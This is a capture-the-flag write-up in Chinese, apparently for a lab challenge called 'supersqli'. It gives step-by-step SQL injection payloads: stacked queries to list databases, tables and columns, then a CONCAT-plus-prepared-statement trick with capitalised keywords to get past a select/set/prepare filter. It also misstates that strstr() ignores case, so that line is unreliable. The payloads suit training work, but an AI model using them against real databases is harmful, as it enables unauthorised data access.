知识点

  • sql注入
  • 堆叠注入
  • sql预编译
  • strstr()大小写绕过

启动靶机

启动靶机,查看题目
image.png
通过 ‘ 判断原SQL语句闭合类型,得到报错信息:
image.png

1.探测注入

  1. 1' 报错
  2. 1'# 正常且为True
  3. 1' and 1=1# 正常且为True
  4. 1' and 1=2# 正常且为False

可以得知存在注入,并且参数使用单引号闭合。

2.尝试获取列数

  1. 1' order by 1#
  2. 1' order by 2#
  3. 1' order by 3# 报错

得出列数为2

3.尝试获取数据库等基本信息

结果提示

  1. return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

发现存在过滤,许多关键词被禁

4.爆库名

通过测试发现存在堆叠注入,尝试爆出库名

  1. -1';show databases;

image.png

5.爆表名

  1. -1';show tables;

image.png

6.爆字段

  1. -1';desc `1919810931114514`#
  2. -1';desc `words`#
  3. # 也可以用以下方式
  4. -1';show columns from `1919810931114514`#
  5. -1';show columns from `words`#
  6. # 注意,表名要加反引号

image.png

7.查数据

上一步我们可以得知flag存在于supersqli数据库中的1919810931114514表的flag字段。
接下来要读取此字段内的数据,我们要执行的目标语句是:

  1. select * from `1919810931114514`;

这里需要绕过select的限制,我们可以使用预编译的方式。
预编译相关语法如下:

  1. set用于设置变量名和值
  2. prepare用于预备一个语句,并赋予名称,以后可以引用该语句
  3. execute执行语句
  4. deallocate prepare用来释放掉预处理的语句

最终payload

  1. -1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
  2. 拆分开来如下
  3. -1';
  4. set @sql = CONCAT('se','lect * from `1919810931114514`;');
  5. prepare stmt from @sql;
  6. EXECUTE stmt;
  7. #

结果为:

  1. strstr($inject, "set") && strstr($inject, "prepare")

image.png

这里检测到了set和prepare关键词,但strstr()这个函数并不区分大小写,我们将其大写即可。

stristr()函数不区分大小写,是strstr()函数的忽略大小写版本

  1. -1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
  2. 拆分开来如下:
  3. -1';
  4. Set @sql = CONCAT('se','lect * from `1919810931114514`;');
  5. Prepare stmt from @sql;
  6. EXECUTE stmt;
  7. #

得到flag:
image.png


相关链接:
SQL注入之堆叠注入https://blog.csdn.net/qq_45691294/article/details/107376284
预编译语句https://www.cnblogs.com/micrari/p/7112781.html